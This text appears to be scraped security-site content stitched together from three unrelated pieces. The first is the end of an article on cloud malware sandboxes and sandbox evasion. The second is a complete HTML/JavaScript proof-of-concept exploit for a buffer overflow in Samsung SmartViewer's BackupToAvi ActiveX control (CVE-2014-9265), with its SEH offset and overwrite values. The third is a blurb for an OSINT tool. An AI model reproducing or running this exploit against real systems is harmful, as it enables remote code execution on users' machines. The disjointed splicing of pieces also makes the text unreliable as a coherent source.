at home would be a perfect candidate for setting up a malware analysis lab, which would make it considerably more difficult for malware binaries to determine whether they are being executed in a controlled environment. When building our own malware analysis lab, we have to connect multiple machines together to form a network, which can be done simply by virtual or physical switch, depending on the type of machines used. Each cloud automated malware analysis services uses some kind of virtualization environment to run their malware samples, like Qemu/KVM, VirtualBox, VMWare, etc. According to the virtualization technology being used, a malware sample can use different techniques to detect that it’s being analyzed and terminate immediately. Thus the malware sample will not be flagged as malicious, since it terminated preemptively without execution the malicious code. In this section we’ve seen that different cloud malware analysis services use different virtualization technologies to run submitted malware samples. As far as I know, only Joe Sandbox has an option of running malware samples on actual physical machines, which prevents certain techniques from being used in malware samples to detect if they are being run in an automated malware analysis environment. Still, there are many other techniques a malware can use to detect if it’s being analyzed. This is a cat and mouse game, where new detection techniques are invented and used by malware samples on a daily basis. On the other hand, there are numerous anti-detection techniques used to prevent the malware from determining it’s being executed in an automated malware analysis environment. When a new detection technique appears, usually a new anti-detection technique is put together to render the detection technique useless. Conclusion In this article we’ve presented the differences between multiple cloud malware analysis services that can be used to analyze different file formats and document types. Each service supports only a fraction of all file formats and document types in which malicious code can be injected. Therefore, depending on the file we have to analyze, we can use the services that support its corresponding file format or document type. In order to analyze a document, we have to choose the appropriate service in order to do so. Since there are many techniques an attacker can use to determine whether the malicious payload is being executed in an automated malware analysis environment, some malicious samples won’t be analyzed correctly, resulting in false positives. Therefore, such services should only be used together with a reverse engineer or malware analyst in order to manually determine whether the file is malicious or not. Since there are many malicious samples distributed around the Internet on a daily basis, every sample cannot be manually inspected, which is why cloud automated malware analysis services are a great way to speed up the analysis. Source

<html> <!-- Samsung SmartViewer BackupToAvi Remote Code Execution PoC PoC developed by Praveen Darshanam For more details refer http://darshanams.blogspot.com http://blog.disects.com/2015/01/samsung-smartviewer-backuptoavi-remote.html Original Vulnerability Discovered by rgod Vulnerable: Samsung SmartViewer 3.0 Tested on Windows 7 Ultimate N SP1 http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-9265 --> <object classid='clsid:208650B1-3CA1-4406-926D-45F2DBB9C299' id='target' ></object> <script > var payload_length = 15000; var arg1=1; var arg2=1; var arg3=1; //blank strings var junk = ""; var buf1 = ""; var buf2 = ""; //offset to SE is 156, initial analysis using metasploit cyclic pattern for (i=0; i<156; i++) { buf1 += "A"; } var nseh = "DD"; var seh = "\x87\x10"; //from Vulnerable DLL junk = buf1 + nseh + seh; //remaining buffer for (j=0; j<(payload_length-junk.length); j++) { buf2 += "B"; } //final malicious buffer var fbuff = junk + buf2; target.BackupToAvi(arg1 ,arg2 ,arg3 ,fbuff); </script> </html> Source

Automater is a tool that I originally created to automate the OSINT analysis of IP addresses. It quickly grew and became a tool to do analysis of IP Addresses, URLs, and Hashes. Unfortunately though, this was my first python project and I made a lot of mistakes, and as the project grew it bacame VERY hard for me to maintain. Download: https://github.com/1aN0rmus/TekDefense-Automater